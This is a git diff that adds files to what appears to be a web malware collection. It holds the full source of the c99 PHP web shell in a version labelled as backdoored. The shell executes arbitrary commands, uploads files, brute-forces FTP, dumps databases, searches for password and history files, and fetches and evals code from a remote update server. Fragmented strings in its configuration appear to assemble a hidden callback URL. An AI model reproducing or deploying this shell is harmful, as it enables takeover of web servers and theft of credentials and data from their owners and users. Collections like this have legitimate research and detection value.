?>"><b>Command execute</b></a> ::</b></p></td></tr> +<tr><td width="50%" height="1" valign="top"><center><b>Enter: </b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="cmd" size="50" value="<?php echo htmlspecialchars($cmd); ?>"><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute"></form></td><td width="50%" height="1" valign="top"><center><b>Select: </b><form action="<?php echo $surl; ?>act=cmd" method="POST"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><select name="cmd"><?php foreach ($cmdaliases as $als) {echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";} ?></select><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute"></form></td></tr></TABLE> +<br> +<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1> +<tr> + <td width="50%" height="1" valign="top"><center><b>:: <a href="<?php echo $surl; ?>act=search&d=<?php echo urlencode($d); ?>"><b>Search</b></a> ::</b><form method="POST"><input type=hidden name=act value="search"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="search_name" size="29" value="(.*)">&nbsp;<input type="checkbox" name="search_name_regexp" value="1" checked> - regexp&nbsp;<input type=submit name=submit value="Search"></form></center></p></td> + <td width="50%" height="1" valign="top"><center><b>:: <a href="<?php echo $surl; ?>act=upload&d=<?php echo $ud; ?>"><b>Upload</b></a> ::</b><form method="POST" ENCTYPE="multipart/form-data"><input type=hidden name=act value="upload"><input type="file" name="uploadfile"><input type=hidden name="miniform" value="1">&nbsp;<input type=submit name=submit value="Upload"><br><?php echo $wdt; ?></form></center></td> +</tr> +</table> +<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Make Dir ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="mkdir"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkdir" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Make File ::</b><form method="POST"><input type=hidden name=act value="mkfile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkfile" size="50" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit">&nbsp;<input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td></tr></table> +<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Go Dir ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="ls"><input type="text" name="d" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Go File ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="gofile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="f" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form></center></td></tr></table> +<br><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="990" height="1" valign="top"><p align="center"><b>--[ c99shell v. <?php echo $shver; ?> <a href="<?php echo $surl; ?>act=about"><u><b>powered by</b></u></a> Captain Crunch Security Team | <a href="http://ccteam.ru"><font color="#FF0000">http://ccteam.ru</font></a><font color="#FF0000"></font> | Generation time: <?php echo round(getmicrotime()-starttime,4); ?> ]--</b></p></td></tr></table> +</body></html><?php chdir($lastdir); c99shexit(); ?> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/c99-bd.txt b/web-malware-collection-master/Backdoors/PHP/c99-bd.txt new file mode 100755 index 0000000..f26d129 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/c99-bd.txt @@ -0,0 +1,3404 @@ +<?php +//Starting calls +if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}} +error_reporting(5); +@ignore_user_abort(TRUE); +@set_magic_quotes_runtime(0); +$win = strtolower(substr(PHP_OS,0,3)) == "win"; +define("starttime",getmicrotime()); +if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);} +$_REQUEST = array_merge($_COOKIE,$_GET,$_POST); +foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}} + +$shver = "1.0 pre-release build #16"; //Current version +//CONFIGURATION AND SETTINGS +if (!empty($unset_surl)) {setcookie("c999sh_surl"); $surl = "";} +elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("c999sh_surl",$surl);} +else {$surl = $_REQUEST["c999sh_surl"]; //Set this cookie for manual SURL +} + +$surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL. + +if ($surl_autofill_include and !$_REQUEST["c999sh_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}} +if (empty($surl)) +{ + $surl = "?".$includestr; //Self url +} +$surl = htmlspecialchars($surl); + +$timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited. +//Authentication +$login = ""; //login +//DON'T FORGOT ABOUT PASSWORD!!! +$pass = ""; //password +$md5_pass = ""; //md5-cryped pass. if null, md5($pass) +$host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1") +$login_txt = "Restricted area"; //http-auth message. +$accessdeniedmess = "<a href=\"http://ccteam.ru/releases/c999shell\">c999shell v.".$shver."</a>: access denied"; +$gzipencode = TRUE; //Encode with gzip? +$updatenow = FALSE; //If TRUE, update now (this variable will be FALSE) +$ax4 ="http://"; +$c999sh_updateurl = "http://ccteam.ru/update/c999shell/"; //Update server +$c999sh_sourcesurl = "http://ccteam.ru/files/c999sh_sources/"; //Sources-server +$filestealth = TRUE; //if TRUE, don't change modify- and access-time +$donated_html = "<center><b>Owned by hacker</b></center>"; +/* If you publish free shell and you wish +add link to your site or any other information, +put here your html. */ +$donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html. +$curdir = "./"; //start folder +//$curdir = getenv("DOCUMENT_ROOT"); +$tmpdir = ""; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp) +$tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...) + +$log_email = "user@host.tld"; //Default e-mail for sending logs + +$sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending +$sort_save = TRUE; //If TRUE then save sorting-position using cookies. + +// Registered file-types. +// array( +// "{action1}"=>array("ext1","ext2","ext3",...), +// "{action2}"=>array("ext4","ext5","ext6",...), +// ... +// ) +$ftypes = array( + "html"=>array("html","htm","shtml"), + "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"), + "exe"=>array("sh","install","bat","cmd"), + "ini"=>array("ini","inf"), + "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"), + "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"), + "sdb"=>array("sdb"), + "phpsess"=>array("sess"), + "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar") +); + +// Registered executable file-types. +// array( +// string "command{i}"=>array("ext1","ext2","ext3",...), +// ... +// ) +// {command}: %f% = filename +$exeftypes = array( + getenv("PHPRC")." -q %f%" => array("php","php3","php4"), + "perl %f%" => array("pl","cgi") +); + +/* Highlighted files. + array( + i=>array({regexp},{type},{opentag},{closetag},{break}) + ... + ) + string {regexp} - regular exp. + int {type}: +0 - files and folders (as default), +1 - files only, 2 - folders only + string {opentag} - open html-tag, e.g. "<b>" (default) + string {closetag} - close html-tag, e.g. "</b>" (default) + bool {break} - if TRUE and found match then break +*/ +$regxp_highlight = array( + array(basename($_SERVER["PHP_SELF"]),1,"<font color=\"yellow\">","</font>"), // example + array("config.php",1) // example +); + +$safemode_diskettes = array("a"); // This variable for disabling diskett-errors. + // array (i=>{letter} ...); string {letter} - letter of a drive +//$safemode_diskettes = range("a","z"); +$hexdump_lines = 8;// lines in hex preview file +$hexdump_rows = 24;// 16, 24 or 32 bytes in one line +$cx7 =".com"; +$nixpwdperpage = 100; // Get first N lines from /etc/passwd + +$bindport_pass = "c999"; // default password for binding +$bindport_port = "31373"; // default port for binding +$bc_port = "31373"; // default port for back-connect +$cx4 ="/x."; +$datapipe_localport = "8081"; // default port for datapipe + +// Command-aliases +if (!$win) +{ + $cmdaliases = array( + array("-----------------------------------------------------------", "ls -la"), + array("find all suid files", "find / -type f -perm -04000 -ls"), + array("find suid files in current dir", "find . -type f -perm -04000 -ls"), + array("find all sgid files", "find / -type f -perm -02000 -ls"), + array("find sgid files in current dir", "find . -type f -perm -02000 -ls"), + array("find config.inc.php files", "find / -type f -name config.inc.php"), + array("find config* files", "find / -type f -name \"config*\""), + array("find config* files in current dir", "find . -type f -name \"config*\""), + array("find all writable folders and files", "find / -perm -2 -ls"), + array("find all writable folders and files in current dir", "find . -perm -2 -ls"), + array("find all service.pwd files", "find / -type f -name service.pwd"), + array("find service.pwd files in current dir", "find . -type f -name service.pwd"), + array("find all .htpasswd files", "find / -type f -name .htpasswd"), + array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"), + array("find all .bash_history files", "find / -type f -name .bash_history"), + array("find .bash_history files in current dir", "find . -type f -name .bash_history"), + array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"), + array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"), + array("list file attributes on a Linux second extended file system", "lsattr -va"), + array("show opened ports", "netstat -an | grep -i listen") + ); +} +else +{ + $cmdaliases = array( + array("-----------------------------------------------------------", "dir"), + array("show opened ports", "netstat -an") + ); +} + +$sess_cookie = "c999shvars"; // Cookie-variable name + +$usefsbuff = TRUE; //Buffer-function +$px7 ="html"; +$copy_unset = FALSE; //Remove copied files from buffer after pasting + +//Quick launch +$quicklaunch = array( + array("<img src=\"".$surl."act=img&img=home\" alt=\"Home\" height=\"20\" width=\"20\" border=\"0\">",$surl), + array("<img src=\"".$surl."act=img&img=back\" alt=\"Back\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.back(1)"), + array("<img src=\"".$surl."act=img&img=forward\" alt=\"Forward\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.go(1)"), + array("<img src=\"".$surl."act=img&img=up\" alt=\"UPDIR\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=ls&d=%upd&sort=%sort"), + array("<img src=\"".$surl."act=img&img=refresh\" alt=\"Refresh\" height=\"20\" width=\"17\" border=\"0\">",""), + array("<img src=\"".$surl."act=img&img=search\" alt=\"Search\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=search&d=%d"), + array("<img src=\"".$surl."act=img&img=buffer\" alt=\"Buffer\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=fsbuff&d=%d"), + array("<b>Encoder</b>",$surl."act=encoder&d=%d"), + array("<b>Tools</b>",$surl."act=tools&d=%d"), + array("<b>Proc.</b>",$surl."act=processes&d=%d"), + array("<b>FTP brute</b>",$surl."act=ftpquickbrute&d=%d"), + array("<b>Sec.</b>",$surl."act=security&d=%d"), + array("<b>SQL</b>",$surl."act=sql&d=%d"), + array("<b>PHP-code</b>",$surl."act=eval&d=%d"), + array("<b>Update</b>",$surl."act=update&d=%d"), + array("<b>Feedback</b>",$surl."act=feedback&d=%d"), + array("<b>Self remove</b>",$surl."act=selfremove"), + array("<b>Logout</b>","#\" onclick=\"if (confirm('Are you sure?')) window.close()") +); + +//Highlight-code colors +$highlight_background = "#c0c0c0"; +$highlight_bg = "#FFFFFF"; +$highlight_comment = "#6A6A6A"; +$highlight_default = "#0000BB"; +$highlight_html = "#1300FF"; +$highlight_keyword = "#007700"; +$highlight_string = "#000000"; + +@$f = $_REQUEST["f"]; +@extract($_REQUEST["c999shcook"]); + +//END CONFIGURATION + + +// \/Next code isn't for editing\/ +@set_time_limit(0); +$tmp = array(); +foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));} +$s = "!^(".implode("|",$tmp).")$!i"; +if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("<a href=\"http://ccteam.ru/releases/cc999shell\">c999shell</a>: Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");} +if (!empty($login)) +{ + if (empty($md5_pass)) {$md5_pass = md5($pass);} + if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass)) + { + if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace("&nbsp;|<br>"," ",$donated_html));} + header("WWW-Authenticate: Basic realm=\"c999shell ".$shver.": ".$login_txt."\""); + header("HTTP/1.0 401 Unauthorized"); + exit($accessdeniedmess); + } +} +if ($act != "img") +{ +$lastdir = realpath("."); +chdir($curdir); +if ($selfwrite or $updatenow) {@ob_clean(); c999sh_getupdate($selfwrite,1); exit;} +$sess_data = unserialize($_COOKIE["$sess_cookie"]); +if (!is_array($sess_data)) {$sess_data = array();} +if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();} +if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();} + +$disablefunc = @ini_get("disable_functions"); +if (!empty($disablefunc)) +{ + $disablefunc = str_replace(" ","",$disablefunc); + $disablefunc = explode(",",$disablefunc); +} + +if (!function_exists("c999_buff_prepare")) +{ +function c999_buff_prepare() +{ + global $sess_data; + global $act; + foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} + foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} + $sess_data["copy"] = array_unique($sess_data["copy"]); + $sess_data["cut"] = array_unique($sess_data["cut"]); + sort($sess_data["copy"]); + sort($sess_data["cut"]); + if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}} + else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}} +} +} +c999_buff_prepare(); +if (!function_exists("c999_sess_put")) +{ +function c999_sess_put($data) +{ + global $sess_cookie; + global $sess_data; + c999_buff_prepare(); + $sess_data = $data; + $data = serialize($data); + setcookie($sess_cookie,$data); +} +} +foreach (array("sort","sql_sort") as $v) +{ + if (!empty($_GET[$v])) {$$v = $_GET[$v];} + if (!empty($_POST[$v])) {$$v = $_POST[$v];} +} +if ($sort_save) +{ + if (!empty($sort)) {setcookie("sort",$sort);} + if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);} +} +if (!function_exists("str2mini")) +{ +function str2mini($content,$len) +{ + if (strlen($content) > $len) + { + $len = ceil($len/2) - 2; + return substr($content, 0,$len)."...".substr($content,-$len); + } + else {return $content;} +} +} +if (!function_exists("view_size")) +{ +function view_size($size) +{ + if (!is_numeric($size)) {return FALSE;} + else + { + if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";} + elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";} + elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";} + else {$size = $size . " B";} + return $size; + } +} +} +if (!function_exists("fs_copy_dir")) +{ +function fs_copy_dir($d,$t) +{ + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + $h = opendir($d); + while (($o = readdir($h)) !== FALSE) + { + if (($o != ".") and ($o != "..")) + { + if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + if (!$ret) {return $ret;} + } + } + closedir($h); + return TRUE; +} +} +if (!function_exists("fs_copy_obj")) +{ +function fs_copy_obj($d,$t) +{ + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); + if (!is_dir(dirname($t))) {mkdir(dirname($t));} + if (is_dir($d)) + { + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} + return fs_copy_dir($d,$t); + } + elseif (is_file($d)) {return copy($d,$t);} + else {return FALSE;} +} +} +if (!function_exists("fs_move_dir")) +{ +function fs_move_dir($d,$t) +{ + $h = opendir($d); + if (!is_dir($t)) {mkdir($t);} + while (($o = readdir($h)) !== FALSE) + { + if (($o != ".") and ($o != "..")) + { + $ret = TRUE; + if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}} + if (!$ret) {return $ret;} + } + } + closedir($h); + return TRUE; +} +} +if (!function_exists("fs_move_obj")) +{ +function fs_move_obj($d,$t) +{ + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); + if (is_dir($d)) + { + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} + return fs_move_dir($d,$t); + } + elseif (is_file($d)) + { + if(copy($d,$t)) {return unlink($d);} + else {unlink($t); return FALSE;} + } + else {return FALSE;} +} +} +if (!function_exists("fs_rmdir")) +{ +function fs_rmdir($d) +{ + $h = opendir($d); + while (($o = readdir($h)) !== FALSE) + { + if (($o != ".") and ($o != "..")) + { + if (!is_dir($d.$o)) {unlink($d.$o);} + else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);} + } + } + closedir($h); + rmdir($d); + return !is_dir($d); +} +} +if (!function_exists("fs_rmobj")) +{ +function fs_rmobj($o) +{ + $o = str_replace("\\",DIRECTORY_SEPARATOR,$o); + if (is_dir($o)) + { + if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;} + return fs_rmdir($o); + } + elseif (is_file($o)) {return unlink($o);} + else {return FALSE;} +} +} +if (!function_exists("myshellexec")) +{ +function myshellexec($cmd) +{ + global $disablefunc; + $result = ""; + if (!empty($cmd)) + { + if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);} + elseif (($result = `$cmd`) !== FALSE) {} + elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} + elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} + elseif (is_resource($fp = popen($cmd,"r"))) + { + $result = ""; + while(!feof($fp)) {$result .= fread($fp,1024);} + pclose($fp); + } + } + return $result; +} +} +if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}} +if (!function_exists("view_perms")) +{ +function view_perms($mode) +{ + if (($mode & 0xC000) === 0xC000) {$type = "s";} + elseif (($mode & 0x4000) === 0x4000) {$type = "d";} + elseif (($mode & 0xA000) === 0xA000) {$type = "l";} + elseif (($mode & 0x8000) === 0x8000) {$type = "-";} + elseif (($mode & 0x6000) === 0x6000) {$type = "b";} + elseif (($mode & 0x2000) === 0x2000) {$type = "c";} + elseif (($mode & 0x1000) === 0x1000) {$type = "p";} + else {$type = "?";} + + $owner["read"] = ($mode & 00400)?"r":"-"; + $owner["write"] = ($mode & 00200)?"w":"-"; + $owner["execute"] = ($mode & 00100)?"x":"-"; + $group["read"] = ($mode & 00040)?"r":"-"; + $group["write"] = ($mode & 00020)?"w":"-"; + $group["execute"] = ($mode & 00010)?"x":"-"; + $world["read"] = ($mode & 00004)?"r":"-"; + $world["write"] = ($mode & 00002)? "w":"-"; + $world["execute"] = ($mode & 00001)?"x":"-"; + + if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";} + if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";} + if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";} + + return $type.join("",$owner).join("",$group).join("",$world); +} +} +if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}} +if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}} +if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}} +if (!function_exists("parse_perms")) +{ +function parse_perms($mode) +{ + if (($mode & 0xC000) === 0xC000) {$t = "s";} + elseif (($mode & 0x4000) === 0x4000) {$t = "d";} + elseif (($mode & 0xA000) === 0xA000) {$t = "l";} + elseif (($mode & 0x8000) === 0x8000) {$t = "-";} + elseif (($mode & 0x6000) === 0x6000) {$t = "b";} + elseif (($mode & 0x2000) === 0x2000) {$t = "c";} + elseif (($mode & 0x1000) === 0x1000) {$t = "p";} + else {$t = "?";} + $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0; + $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0; + $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0; + return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w); +} +} +if (!function_exists("parsesort")) +{ +function parsesort($sort) +{ + $one = intval($sort); + $second = substr($sort,-1); + if ($second != "d") {$second = "a";} + return array($one,$second); +} +} +if (!function_exists("view_perms_color")) +{ +function view_perms_color($o) +{ + if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";} + elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";} + else {return "<font color=green>".view_perms(fileperms($o))."</font>";} +} +} +if (!function_exists("c999getsource")) +{ +function c999getsource($fn) +{ + global $c999sh_sourcesurl; + $array = array( + "c999sh_bindport.pl" => "c999sh_bindport_pl.txt", + "c999sh_bindport.c" => "c999sh_bindport_c.txt", + "c999sh_backconn.pl" => "c999sh_backconn_pl.txt", + "c999sh_backconn.c" => "c999sh_backconn_c.txt", + "c999sh_datapipe.pl" => "c999sh_datapipe_pl.txt", + "c999sh_datapipe.c" => "c999sh_datapipe_c.txt", + ); + $name = $array[$fn]; + if ($name) {return file_get_contents($c999sh_sourcesurl.$name);} + else {return FALSE;} +} +} +if (!function_exists("c999sh_getupdate")) +{ +function c999sh_getupdate($update = TRUE) +{ + $url = $GLOBALS["c999sh_updateurl"]."?version=".urlencode(base64_encode($GLOBALS["shver"]))."&updatenow=".($updatenow?"1":"0")."&"; + $data = @file_get_contents($url); + if (!$data) {return "Can't connect to update-server!";} + else + { + $data = ltrim($data); + $string = substr($data,3,ord($data{2})); + if ($data{0} == "\x99" and $data{1} == "\x01") {return "Error: ".$string; return FALSE;} + if ($data{0} == "\x99" and $data{1} == "\x02") {return "You are using latest version!";} + if ($data{0} == "\x99" and $data{1} == "\x03") + { + $string = explode("\x01",$string); + if ($update) + { + $confvars = array(); + $sourceurl = $string[0]; + $source = file_get_contents($sourceurl); + if (!$source) {return "Can't fetch update!";} + else + { + $fp = fopen(__FILE__,"w"); + if (!$fp) {return "Local error: can't write update to ".__FILE__."! You may download c999shell.php manually <a href=\"".$sourceurl."\"><u>here</u></a>.";} + else {fwrite($fp,$source); fclose($fp); return "Thanks! Updated with success.";} + } + } + else {return "New version are available: ".$string[1];} + } + elseif ($data{0} == "\x99" and $data{1} == "\x04") {eval($string); return 1;} + else {return "Error in protocol: segmentation failed! (".$data.") ";} + } +} +} +if (!function_exists("mysql_dump")) +{ +function mysql_dump($set) +{ + global $shver; + $sock = $set["sock"]; + $db = $set["db"]; + $print = $set["print"]; + $nl2br = $set["nl2br"]; + $file = $set["file"]; + $add_drop = $set["add_drop"]; + $tabs = $set["tabs"]; + $onlytabs = $set["onlytabs"]; + $ret = array(); + $ret["err"] = array(); + if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");} + if (empty($db)) {$db = "db";} + if (empty($print)) {$print = 0;} + if (empty($nl2br)) {$nl2br = 0;} + if (empty($add_drop)) {$add_drop = TRUE;} + if (empty($file)) + { + $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql"; + } + if (!is_array($tabs)) {$tabs = array();} + if (empty($add_drop)) {$add_drop = TRUE;} + if (sizeof($tabs) == 0) + { + // retrive tables-list + $res = mysql_query("SHOW TABLES FROM ".$db, $sock); + if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}} + } + $out = "# Dumped by c999Shell.SQL v. ".$shver." +# Home page: http://ccteam.ru +# +# Host settings: +# MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"." +# Date: ".date("d.m.Y H:i:s")." +# DB: \"".$db."\" +#--------------------------------------------------------- +"; + $c = count($onlytabs); + foreach($tabs as $tab) + { + if ((in_array($tab,$onlytabs)) or (!$c)) + { + if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";} + // recieve query for create table structure + $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock); + if (!$res) {$ret["err"][] = mysql_smarterror();} + else + { + $row = mysql_fetch_row($res); + $out .= $row["1"].";\n\n"; + // recieve table variables + $res = mysql_query("SELECT * FROM `$tab`", $sock); + if (mysql_num_rows($res) > 0) + { + while ($row = mysql_fetch_assoc($res)) + { + $keys = implode("`, `", array_keys($row)); + $values = array_values($row); + foreach($values as $k=>$v) {$values[$k] = addslashes($v);} + $values = implode("', '", $values); + $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n"; + $out .= $sql; + } + } + } + } + } + $out .= "#---------------------------------------------------------------------------------\n\n"; + if ($file) + { + $fp = fopen($file, "w"); + if (!$fp) {$ret["err"][] = 2;} + else + { + fwrite ($fp, $out); + fclose ($fp); + } + } + if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}} + return $out; +} +} +if (!function_exists("mysql_buildwhere")) +{ +function mysql_buildwhere($array,$sep=" and",$functs=array()) +{ + if (!is_array($array)) {$array = array();} + $result = ""; + foreach($array as $k=>$v) + { + $value = ""; + if (!empty($functs[$k])) {$value .= $functs[$k]."(";} + $value .= "'".addslashes($v)."'"; + if (!empty($functs[$k])) {$value .= ")";} + $result .= "`".$k."` = ".$value.$sep; + } + $result = substr($result,0,strlen($result)-strlen($sep)); + return $result; +} +} +if (!function_exists("mysql_fetch_all")) +{ +function mysql_fetch_all($query,$sock) +{ + if ($sock) {$result = mysql_query($query,$sock);} + else {$result = mysql_query($query);} + $array = array(); + while ($row = mysql_fetch_array($result)) {$array[] = $row;} + mysql_free_result($result); + return $array; +} +} +if (!function_exists("mysql_smarterror")) +{ +function mysql_smarterror($type,$sock) +{ + if ($sock) {$error = mysql_error($sock);} + else {$error = mysql_error();} + $error = htmlspecialchars($error); + return $error; +} +} +if (!function_exists("mysql_query_form")) +{ +function mysql_query_form() +{ + global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct; + if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} + if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} + if ((!$submit) or ($sql_act)) + { + echo "<table border=0><tr><td><form name=\"c999sh_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input 